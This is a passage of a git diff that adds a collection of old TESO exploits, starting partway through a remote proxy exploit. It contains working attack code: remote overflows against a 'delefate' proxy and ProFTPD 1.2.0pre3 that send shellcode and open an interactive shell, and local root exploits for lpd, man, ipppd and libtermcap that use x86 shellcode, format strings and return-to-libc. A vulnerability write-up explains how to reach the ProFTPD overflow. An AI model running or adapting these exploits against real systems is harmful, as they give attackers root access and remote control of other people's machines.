./delefate localhost 8080 -100\n\n" + "for brute forcing, try from -2000 to 500 in steps of 200\n\n"); + + exit (EXIT_FAILURE); +} + +int +main (int argc, char **argv) +{ + int socket; + char *server; + struct sockaddr_in sa; + unsigned short int port_dest; + unsigned char *retaddr_ptr; + unsigned long int offset; + unsigned char *stack = NULL; + + if (argc < 3) + usage (); + + printf (GREEN BOLD "delefate 5.9.x - 6.0.x remote exploit" NORMAL "\n" + "by " BOLD "scut" NORMAL " of " RED BOLD "team teso" NORMAL "\n\n"); + + if (argc == 4) { + long int xp_add = 0; + + if (sscanf (argv[3], "%ld", &xp_add) != 1) { + usage (); + } + xp_off += xp_add; + } + printf (" " GREEN "-" NORMAL " using offset 0x%08x\n", xp_off); + + server = argv[1]; + port_dest = atoi (argv[2]); + + /* do the offset + */ + retaddr_ptr = shellcode1 + XP_SHELLCODE_OFFSET; + offset = xp_off + XP_DIFF; + *retaddr_ptr = (offset & 0x000000ff) >> 0; + *(retaddr_ptr + 1) = (offset & 0x0000ff00) >> 8; + *(retaddr_ptr + 2) = (offset & 0x00ff0000) >> 16; + *(retaddr_ptr + 3) = (offset & 0xff000000) >> 24; + *(shellcode1 + XP_NETWORK_OFFSET) = (unsigned char) XP_NETWORK_FD; + *(shellcode2 + XP_SH2_FD1) = (unsigned char) XP_NETWORK_FD; + *(shellcode2 + XP_SH2_FD2) = (unsigned char) XP_NETWORK_FD; + *(shellcode2 + XP_SH2_FD3) = (unsigned char) XP_NETWORK_FD; + + printf (" " GREEN "-" NORMAL " connecting to " GREEN "%s:%hu" NORMAL "...", server, port_dest); + fflush (stdout); + + socket = net_connect (&sa, server, port_dest, 45); + if (socket <= 0) { + printf (" " RED BOLD "failed" NORMAL ".\n"); + perror ("net_connect"); + exit (EXIT_FAILURE); + } + printf (" " GREEN BOLD "connected." NORMAL "\n"); + + /* send minimalistic read() shellcode */ + printf (" " GREEN "-" NORMAL " sending first shellcode...\n"); + write (socket, shellcode1, strlen (shellcode1)); + sleep (1); + + /* now send the real shellcode :-) */ + printf (" " GREEN "-" NORMAL " sending second shellcode...\n"); + write (socket, shellcode2, strlen (shellcode2)); + + printf (" " GREEN "-" NORMAL " spawning shell...\n\n"); + shell (socket); + close (socket); + + + exit (EXIT_SUCCESS); +} + +unsigned long int +net_resolve (char *host) +{ + long i; + struct hostent *he; + + i = inet_addr (host); + if (i == -1) { + he = gethostbyname (host); + if (he == NULL) { + return (0); + } else { + return (*(unsigned long *) he->h_addr); + } + } + + return (i); +} + + +/* original version by typo, modified by scut + */ + +void +shell (int socket) +{ + char io_buf[1024]; + int n; + fd_set fds; + + while (1) { + FD_SET (0, &fds); + FD_SET (socket, &fds); + + select (socket + 1, &fds, NULL, NULL, NULL); + if (FD_ISSET (0, &fds)) { + n = read (0, io_buf, sizeof (io_buf)); + if (n <= 0) + return; + write (socket, io_buf, n); + } + + if (FD_ISSET (socket, &fds)) { + n = read (socket, io_buf, sizeof (io_buf)); + if (n <= 0) + return; + write (1, io_buf, n); + } + } +} + + +int +net_connect (struct sockaddr_in *cs, char *server, + unsigned short int port, int sec) +{ + int n, len, error, flags; + int fd; + struct timeval tv; + fd_set rset, wset; + + /* first allocate a socket */ + cs->sin_family = AF_INET; + cs->sin_port = htons (port); + fd = socket (cs->sin_family, SOCK_STREAM, 0); + if (fd == -1) + return (-1); + + cs->sin_addr.s_addr = net_resolve (server); + if (cs->sin_addr.s_addr == 0) { + close (fd); + return (-1); + } + + flags = fcntl (fd, F_GETFL, 0); + if (flags == -1) { + close (fd); + return (-1); + } + n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); + if (n == -1) { + close (fd); + return (-1); + } + + error = 0; + + n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); + if (n < 0) { + if (errno != EINPROGRESS) { + close (fd); + return (-1); + } + } + if (n == 0) + goto done; + + FD_ZERO(&rset); + FD_ZERO(&wset); + FD_SET(fd, &rset); + FD_SET(fd, &wset); + tv.tv_sec = sec; + tv.tv_usec = 0; + + n = select(fd + 1, &rset, &wset, NULL, &tv); + if (n == 0) { + close(fd); + errno = ETIMEDOUT; + return (-1); + } + if (n == -1) + return (-1); + + if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { + if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { + len = sizeof(error); + if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { + errno = ETIMEDOUT; + return (-1); + } + if (error == 0) { + goto done; + } else { + errno = error; + return (-1); + } + } + } else + return (-1); + +done: + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + + return (fd); +} + diff --git a/exploits/7350lapsus/7350lapsus.pl b/exploits/7350lapsus/7350lapsus.pl new file mode 100644 index 0000000..cad1ae0 --- /dev/null +++ b/exploits/7350lapsus/7350lapsus.pl @@ -0,0 +1,65 @@ +#!/usr/bin/perl -w + +# 7350lapsus +# +# lpr-3.0.48 Local root exploit. +# requires root on a host counted in +# hosts.lpd and local account on lpd box. +# This is proof of concept, chown()ing /etc/passwd +# to a user named 'stealth'. +# +# (C) COPYRIGHT TESO Security, 2001 +# All Rights Reserved +# +# May be used under the terms of the GPL. +# + +use IO::Socket; + +sub recvack +{ + my $ack; + $_[0]->recv($ack, 1); + if ($ack ne "\0") { + print "Some ACK-error occured.\n"; + exit; + } +} + +$rem = shift; +if (!defined($rem)) { + print "$0 \n"; exit; +} + +# Open connection +for ($i = 721; $i <= 731 && !defined $peer; ++$i) { + $peer = IO::Socket::INET->new(PeerAddr => $rem, + PeerPort => 515, + LocalPort => $i, + Proto => "tcp", + Type => SOCK_STREAM); +} + +die "$!" if (!defined($peer)); + +print "Bound to port $i\n"; + +print $peer "\2lp\n"; +recvack($peer); + +$payload = "Pstealth\na/etc/passwd\n"; +$l = length($payload); + +# First bug in lpd: allows to create files in / +# with length up to 5 chars +print $peer "\x02$l /foo\n"; +recvack($peer); + +# This one is incredible. it trusts controlfiles +# input to chown ANY file on system to user. +print $peer $payload; +print $peer "\0"; +recvack($peer); + +close $peer; + diff --git a/exploits/7350man/7350man.c b/exploits/7350man/7350man.c new file mode 100644 index 0000000..eaa0377 --- /dev/null +++ b/exploits/7350man/7350man.c @@ -0,0 +1,36 @@ +#include +#include +#include +#include + +#define OFFSET 0xbfffb32e +#define LEN 4061 + +#define GID "15" /* man::15: on rh6.1 */ + +unsigned char shellcode[] = +"\x31\xc0\x31\xdb\x31\xc9\xb3"GID"\xb1"GID"\xb0\x47\xcd\x80\xeb\x1e" +"\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53" +"\x0c\xb0\x0b\xcd\x80\x89\xc3\x31\xc0\xb0\x01\xcd\x80\xe8\xdd\xff\xff" +"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x74\x65\x73\x6f\x63\x72\x65\x77\x21" +"\x21"; + +/* man sploit by typo/teso (typo@inferno.tusculum.edu) */ +int main(int argc, char *argv[]) +{ + int offset = argc > 1 ? atoi(argv[1]) + OFFSET : OFFSET; + int eob = argc > 2 ? atoi(argv[2]) : LEN; + char *buffer; + + printf("eob = %d, offset = 0x%x\n", eob, offset); + buffer = malloc(eob+8); + + memset(buffer, 0x90, eob); + memcpy(buffer + eob - strlen(shellcode) - 8, shellcode, strlen(shellcode)); + memcpy(buffer + eob - 4, &offset, 4); + buffer[eob] = '\0'; + + setenv("MANPAGER", buffer, 1); + execlp("man", "man", "man", NULL); +} + diff --git a/exploits/7350pippi/7350pippi.pl b/exploits/7350pippi/7350pippi.pl new file mode 100644 index 0000000..ec8f142 --- /dev/null +++ b/exploits/7350pippi/7350pippi.pl @@ -0,0 +1,97 @@ +#!/usr/bin/perl + +# 7350pippi - x86/Linux ipppd local root +# +# (C) COPYRIGHT TESO Security, 2002 +# All Rights Reserved +# +# May be used under the terms of the GPL. + +# ipppd local root exploit: +# ... +# /* +# * Check if there is a device by this name. +# */ +# if (stat(cp, &statbuf) < 0) { +# if (errno == ENOENT) +# return 0; +# syslog(LOG_ERR, cp); +# return -1; +# } +# ... +# +# This exploit changes the address of syslog in ipppd's +# GOT. Since it returns -1 as seen above, ipppd will invoke +# syslog() a second time soon this time using the address +# given by us. We redirect the GOT entry to a stacklocation +# where the filename of the executed program is normally +# located. Since we symlink() the shellcode to /usr/sbin/ipppd +# the shellcode goes on the stack AT A FIXED ADDRESS! Thus +# we avoid ugly offsets and guessing/bruteforce. +# If porting this exploits to other systems, you +# need to find syslogs() GOT entry yourself. +# + +use Fcntl; + +# chown()+chmod() /tmp/boomsh +$shellcode = "\x90"x100 . +"\x31\xc0\xb0\x46\xbb\xff\xff\xff\xff\x31\xc9\xcd\x80\xeb". +"\x2a\x90\x90\x90\x90\x5e\x89\xf3\xff\x03\xff\x43\x04\x31". +"\xc0\x88\x43\x0b\x31\xc0\xb0\xb6\x31\xc9\x31\xd2\xcd\x80". +"\x31\xc0\xb0\x0f\x66\xb9\xed\x0d\xcd\x80\x31\xc0\x40\xcd". +"\x80\xe8\xd5\xff\xff\xff\x2e\x74\x6d\x70\x2e\x62\x6f\x6f". +"\x6d\x73\x68\x2e"; + +unlink("/tmp/$shellcode"); +symlink("/usr/sbin/ipppd", "/tmp/$shellcode") or die "$!"; + +# my syslog GOT entry @ 0x806c90c + +sysopen(O, "/tmp/boomsh.c", O_RDWR|O_CREAT, 0600) or die "$!"; +print O<<_EOF_; +#include +int main() +{ + char *a[] = {"/bin/bash", "--norc", "--noprofile", NULL}; + + setuid(0); + execve(*a, a, NULL); + return -1; +} +_EOF_ +close O; + +print "Compiling boomshell ...\n"; +system("cc /tmp/boomsh.c -o /tmp/boomsh"); + +$dir = "/tmp/L"; +mkdir($dir); + +$ret = 0xbffffffb - length($shellcode)+20; +printf("Filename is located @ %x\n", $ret); + + +# maybe need to change to your GOT entry +# of syslog(); see above +$file = "XX" . pack(c4, 0x0c, 0xc9, 0x06, 0x08) . "1234" . # GOT + pack(c4, 0x0d, 0xc9, 0x06, 0x08) . "1234" . # GOT+1 + pack(c4, 0x0e, 0xc9, 0x06, 0x08) . "1234" . # GOT+2 + pack(c4, 0x0f, 0xc9, 0x06, 0x08); # GOT+3 + +$stackpop = "%p"x11; +$file .= $stackpop; + +#$file .= "%14d%n%69d%n%40d%n%192d%n"; + +# Should be fixed. If not, find the 4 values for +# %d yourself using gdb. This worked for me. +$file .= "%221d%n%158d%n%256d%n%192d%n"; + +open(O, ">$dir/$file") or die "$!"; +close O; + +system("/tmp/$shellcode", "..$dir/$file/"); + +exec("/tmp/boomsh"); + diff --git a/exploits/7350proftpd/pro.c b/exploits/7350proftpd/pro.c new file mode 100644 index 0000000..673ae41 --- /dev/null +++ b/exploits/7350proftpd/pro.c @@ -0,0 +1,472 @@ +/* proftp exploit for 1.2.0pre3 linux + * tested on suse 6.2 + * + * note, the shorter your domain name is, the more nops there are.... + * + * comments / criticisms to smiler@tasam.com + * + * smiler / teso + * + * [http://teso.scene.at] + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define PORT 2666 + +/* shellcode with 0xff's already doubled up... */ +char hellcode[]= + "\xeb\x21\x5b\x31\xc0\x31\xd2\x90\xfe\x0b\xfe\x4b\x04" + "\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0" + "\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\xda\xff\xff" + "\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68"; + +void parse_opts (int argc, char **argv); +int resolv (char *hostname, struct in_addr *addr); +void usage (char *s); +int tcp_connect (struct in_addr addr, unsigned short port); +int ftp_command (char *buf, int success, FILE *out, char *fmt, ...); +int send_exploit (FILE *stream); +int parse_pwd (char *str); +int stor_file (FILE *stream, char *buf); +void my_put_long (u_char *ptr, unsigned int l); +void RunShell (int fd); + +struct in_addr victim; +char init_dir[25], + username[25], + password[25], + hostname[50]; +int offset = 0; + +#define RET_ADDR 0xbffff662 + + +void +get_hostname (int fd) +{ + struct hostent *res; + struct sockaddr_in sa; + int len; + + fprintf (stderr, "Trying to get hostname...\n"); + + len = 16; + getsockname (fd, (struct sockaddr *)&sa, &len); + res = gethostbyaddr ((char *)&sa.sin_addr, sizeof (struct in_addr), + AF_INET); + if (res == NULL) { + fprintf (stderr, "no reverse address found...using ip\n"); + strcpy (hostname, inet_ntoa (sa.sin_addr)); + } else { + strcpy (hostname, res->h_name); + } + fprintf (stderr,"Hostname: %s\n", hostname); + return; +} + +/* open connection to server and call relevant functions + */ +int +talk (void) +{ + int fd; + int retval = 0; + FILE *stream; + char buf[1024]; + + if ((fd = tcp_connect (victim, 21)) < 0) { + perror ("connect"); + exit (-1); + } + + if (*hostname == '\0') + get_hostname (fd); + + if ((stream = fdopen (fd, "r")) == NULL) { + perror ("fdopen"); + exit (-1); + } + + /* get banner */ + fgets (buf, sizeof(buf) - 1, stream); + fputs (buf, stdout); + + + if (ftp_command (buf, 331, stream, "USER %s\n", username) < 0) { + fprintf (stderr, "Bad username\n"); + retval = -1; + goto err; + } + + if (ftp_command (buf, 230, stream, "PASS %s\n", password) < 0) { + fprintf (stderr, "Bad password\n"); + retval = -1; + goto err; + } + + if (send_exploit (stream) < 0) + return (-1); + + RunShell (fd); +err: + close (fd); + fclose (stream); + return (retval); +} + +/* helper function to make the final directory with shellcode in. + */ +void +make_egg (char *buf, int len) +{ + len += 3; /* kludge to offset number of 0xff's in shellcode */ + memset (buf, 0x90, len); + strcpy (buf + len - strlen (hellcode), hellcode); + buf[len] = '\0'; + return; +} + +/* + * start making directorys and call stor_file() + */ +int +send_exploit (FILE *stream) +{ + int pwdlen, + ctr; + char buf[1024], + tmp[1024]; + + bzero (buf, sizeof (buf)); + + if (*init_dir) + if (ftp_command (buf, 250, stream, "CWD %s\n", init_dir) < 0) { + fprintf (stderr, "Bad start directory\n"); + return (-1); + } + + if (ftp_command (buf, 257, stream, "PWD\n") < 0) { + fprintf (stderr, "Couldn't get current directory\n"); + return (-1); + } + + pwdlen = parse_pwd (buf); + bzero (password, sizeof (password)); + + fprintf (stderr, "Making padding directories\n"); + + for (ctr = 0; ctr < 4; ctr++) { + memset (tmp, 'A', 194); + tmp[194] = '\0'; + if (ftp_command (buf, 257, stream, "MKD %s\n", tmp) < 0) { + if (!strstr (buf, "File exists")) { + fputs (buf, stderr); + return (-1); + } + } + if (ftp_command (buf, 250, stream, "CWD %s\n", tmp) < 0) { + fputs (buf, stderr); + return (-1); + } + } + + /* make the padding directory. it also contains the shellcode. + * the STORed file will contain the return address + */ + ctr = 201 - pwdlen - strlen (hostname); + if ((ctr+10) < (strlen(hellcode))) { + fprintf (stderr, "no space for shellcode - try using a"\ + " shorter hostname and/or a shorter starting"\ + " directory\n"); + return (-1); + } + make_egg (tmp, ctr); + if (ftp_command (buf, 257, stream, "MKD %s\n", tmp) < 0) { + fputs (buf, stderr); + return (-1); + } + + if (ftp_command (buf, 250, stream, "CWD %s\n", tmp) < 0) { + fputs (buf, stderr); + return (-1); + } + + printf ("Press any key to send overflow\n"); + getchar (); + return (stor_file (stream, buf)); +} + +/* send STOR command to send final part of the overflow + */ +int +stor_file (FILE *stream, char *buf) +{ + u_char *ptr, *ptr2; + int listenfd, + accfd; + struct sockaddr_in sa, tmp; + int len; + char stor_string[30], + ret_string[6]; + + listenfd = socket (AF_INET, SOCK_STREAM, 0); + bzero (&sa, sizeof (sa)); + sa.sin_addr.s_addr = htonl (INADDR_ANY); + sa.sin_port = htons (0); + sa.sin_family = AF_INET; + + bind (listenfd, (struct sockaddr *)&sa, sizeof (sa)); + listen (listenfd, 1); + + /* get localip and src port */ + len = 16; + getsockname (fileno (stream), (struct sockaddr *)&tmp, &len); + getsockname (listenfd, (struct sockaddr *)&sa, &len); + ptr = (char *)&tmp.sin_addr; + ptr2 = (char *)&sa.sin_port; + if (ftp_command (buf, 200, stream, "PORT " \ + "%d,%d,%d,%d,%d,%d\n",ptr[0],ptr[1],ptr[2],ptr[3], + ptr2[0], ptr2[1]) < 0) { + fputs (buf, stderr); + close (listenfd); + return (-1); + } + + if (ftp_command (buf, 200, stream, "TYPE I\n") < 0) { + close (listenfd); + fputs (buf, stderr); + return (-1); + } + + bzero (stor_string, sizeof (stor_string)); + bzero (ret_string, sizeof (ret_string)); + my_put_long (ret_string, RET_ADDR + offset); + sprintf (stor_string, "aaaaaaaaaaa%s%s%s%s", ret_string, + ret_string, ret_string, ret_string); + + if (ftp_command (buf, 150, stream, "STOR %s\n", stor_string) < 0) { + close (listenfd); + fputs (buf, stderr); + return (-1); + } + + accfd = accept (listenfd, (struct sockaddr *)&sa, &len); + close (listenfd); + /* we dont' want to write anything ! */ + close (accfd); + ftp_command (buf, 226, stream, ""); /* Transfer complete */ + return (0); +} + +int +main (int argc, char **argv) +{ + puts ("proftp exploit by smiler of teso\n"); + + parse_opts (argc, argv); + + talk (); + return (0); +} + +void +parse_opts (int argc, char **argv) +{ + char c, + *argv0; + + argv0 = strdup (argv[0]); + + *init_dir = '\0'; + *hostname = '\0'; + + while ((c = getopt (argc, argv, "s:h:o:")) != -1) { + switch (c) { + case 's': + strncpy (init_dir, optarg, sizeof (init_dir)); + break; + case 'h': + strncpy (hostname, optarg, sizeof (hostname)); + break; + case 'o': + offset = atoi (optarg); + break; + } + } + + argc -= optind; + argv += optind; + + if (argc < 3) + usage (argv0); + + if (!resolv (argv[0], &victim)) { + herror ("resolv"); + usage (argv0); + } + + strncpy (username, argv[1], sizeof (username)); + strncpy (password, argv[2], sizeof (password)); + bzero (argv[2], strlen (argv[2])); + + free (argv0); + return; +} + +/* generic function to send a command to an ftp server and + * parse the response + * compares the return value from the ftp server to 'success' + */ +int +ftp_command (char *buf, int success, FILE *out, char *fmt, ...) +{ + va_list va; + char line[2048]; + + va_start (va, fmt); + vsprintf (line, fmt, va); + va_end (va); + + if (send (fileno (out), line, strlen (line), 0) <= 0) + return (-1); + + for (;;) { + fgets (line, sizeof (line) - 1, out); + if (*(line + 3) != '-') + break; + } + strncpy (buf, line, 1024); + + if (success != atoi (line)) + return (-1); + + return (1); +} + +int +parse_pwd (char *str) +{ + char *ptr, *ptr2; + + ptr = strchr (str, '\"'); + if (!ptr++) return (0); + + ptr2 = strchr (ptr + 1, '\"'); + if (!ptr2) return (0); + + *ptr2-- = '\0'; + while (*ptr2 == '/') *ptr2-- = '\0'; + + printf ("Start dir = %s\n", ptr); + return (strlen (ptr)); +} + +int +tcp_connect (struct in_addr addr, unsigned short port) +{ + struct sockaddr_in sa; + int fd; + + fd = socket (AF_INET, SOCK_STREAM, 0); + if (fd < 0) + return (-1); + + bzero (&sa, sizeof (sa)); + sa.sin_family = AF_INET; + sa.sin_port = htons (port); + sa.sin_addr.s_addr = victim.s_addr; + + if (connect (fd, (struct sockaddr *)&sa, sizeof (sa)) < 0) + return (-1); + + return (fd); +} + +int +resolv (char *hostname, struct in_addr *addr) +{ + struct hostent *res; + + if (inet_aton (hostname, addr)) + return (1); + + res = gethostbyname (hostname); + if (res == NULL) + return (0); + + memcpy ((char *)addr, res->h_addr, sizeof (struct in_addr)); + return (1); +} + +void +usage (char *s) +{ + fprintf (stderr,"usage: %s ", + s); + fputs ("[-s start directory] [-h your hostname]\n", stderr); + exit (-1); +} + +/* used to put the return address into the egg, doubling up the 0xff's + */ +void +my_put_long (u_char *ptr, unsigned int l) +{ + int i; + u_char *ptr2; + + ptr2 = (char *)&l; + for (i = 0; i < 4; i++) { + *ptr++ = *ptr2; + if (*ptr2 == 0xff) *ptr++ = 0xff; + ptr2++; + } + return; +} + +void +RunShell (int fd) +{ + u_char buf[1024]; + fd_set rset; + int n; + + for (;;) { + FD_ZERO (&rset); + FD_SET (fd, &rset); + FD_SET (STDIN_FILENO, &rset); + + n = select (fd + 1, &rset, NULL, NULL, NULL); + if (n <= 0) { + perror ("select"); + return; + } + + if (FD_ISSET (fd, &rset)) { + n = recv (fd, buf, sizeof (buf), 0); + if (n <= 0) { + fprintf (stderr, "Connection closed.\n"); + return; + } + write (STDOUT_FILENO, buf, n); + } + + if (FD_ISSET (STDIN_FILENO, &rset)) { + n = read (STDIN_FILENO, buf, sizeof (buf)); + if (n <= 0) + return; + + send (fd, buf, n, 0); + } + } +} diff --git a/exploits/7350proftpd/vulninfo b/exploits/7350proftpd/vulninfo new file mode 100644 index 0000000..18f1f27 --- /dev/null +++ b/exploits/7350proftpd/vulninfo @@ -0,0 +1,55 @@ +I know of at least 2 vulnerabilites in proftp, although looking at the +code there are probably hundreds more. + +The first one is in sreplace() and is overflowable by making lots of +nested paths. The overflow is in the form of a while loop where a pointer +to a local buffer is continually written to and incremented. It is +particularly difficult to exploit because you have to overwrite many +arguments on the stack, including an array of pointers and the pointer +itself ! Unless you can preserve the stack by being very cunning this is +effectively unexploitable. (it segfaults before the function returns). + +The second one is much nicer. it occurs in log_xfer when STOR command is +invoked. +-- + sprintf(buf,"%s %d %s %lu %s %c _ %c %c %s ftp 0 *\n", + fmt_time(time(NULL)),xfertime,remhost,fsize, + fname,xfertype,direction,access,user); +-- +where fname is the name of the file u are STORing and buf is the only +local buffer on the stack (1024 bytes long); + +This is not so easy since you have to take account of the length of the +arguments preceding fname, i.e. fmt_time(time(NULL)), xfertime, remhost, +fsize + heres a snippet from my xferlog file: +-- +Thu Dec 2 19:19:14 1999 0 localhost 0 /tmp/blah b _ i r dave ftp 0 * +-- +^^^^^^^^^^^^^^^^^^^^^^^^ +The formatted time is thankfully always the same size, 24 bytes, +the xfer time is dependant on how long you stay connected, preferably 0, +giving a 1 byte string. the hostname that the remote server sees, you +should be able to find out yourself for sure(try SMTP). +the fsize you should be able to control as well, in my case 0. + +So adding all that up gives an inital offset into the buffer of +30 + strlen(hostname) +therefore the distance until the end of the buffer is 996-strlen(hostname) +bytes + +consider the length of the buffer to be 996-strlen(hostname) + +Calculating the offset is quite difficult off hand but basically all you +have to do is create 4 big directorys (194 chars long), then another +directory approx 200 - strlen(initdir) - strlen(hostname) chars long with +the nops and shellcode. then STOR a 19 byte string with the return +addresses at the end. Note that this last directory has to have a length +<= 194 but this shouldn't be a problem unless you are writing to '/' with a +4 char hostname.... + +Hopefully this won't 'exploit' the first bug explained above because the +string we are sending is too small to overflow that buffer +(1004-strlen(hostname)). + +update: I just found out there is a far better (and easier!) way to exploit proftp which requires only anonymous and a file which you can read. it is still in log_xfer(). all you have to do is log in as anonymous with a really long password and do RETR somefile. the transfer (including your password) is logged, and voila. I have to get around to adding this. diff --git a/exploits/7350termcap/libtermcapsploit.c b/exploits/7350termcap/libtermcapsploit.c new file mode 100644 index 0000000..893ca0e --- /dev/null +++ b/exploits/7350termcap/libtermcapsploit.c @@ -0,0 +1,61 @@ +#include +#include +#include +#include +#include + +// yet another lame libtermcap<2.0.8-15 sploit by typo@scene.at (libc jumpback) +// only made this to bypass nonexecutable stack patches - http://teso.scene.at/ + +// Redhat 6 offsets (i only needed these) +int sys = 0x401bca40; // system +int sh = 0x4025ab12; // /bin/sh +int exi = 0x4020b910; // _exit +int ran = 0x401b9928; // random offset in libc +int eip = 2136; +#define fil "/tmp/teso_termcap" +#define xte "/usr/X11R6/bin/xterm" +#define entry "xterm|" + +int main(int argc, char **argv) { + char *buf; + int fd, buflen; + + argv++; + + if (argc>1) // dec,!hex args + sys = atoi(*(argv++)); + if (argc>2) + sh = atoi(*(argv++)); + if (argc>3) + exi = atoi(*(argv++)); + if (argc>4) + eip = atoi(*(argv++)); + + buflen = eip + 20; + + buf = (char *) malloc(buflen); + memset(buf, 'x', buflen); + buf[buflen] = 0; + + memcpy(buf, entry, strlen(entry)); + memcpy (buf+buflen-4,":\\y",3); + + memcpy(buf+eip,&sys,4); + memcpy(buf+eip+4,&exi,4); + memcpy(buf+eip+8,&sh,4); + memcpy(buf+eip+12,&ran,4); + + if ( (fd = open(fil, O_WRONLY|O_CREAT|O_TRUNC, "644"))<0) { + perror("cannot create file"); + exit(EXIT_FAILURE); + } + + write(fd,buf,buflen); + close(fd); + free(buf); + + setenv("TERMCAP", fil, 1); + execl(xte, "xterm", NULL); + exit(EXIT_SUCCESS); +} -- cgit v1.3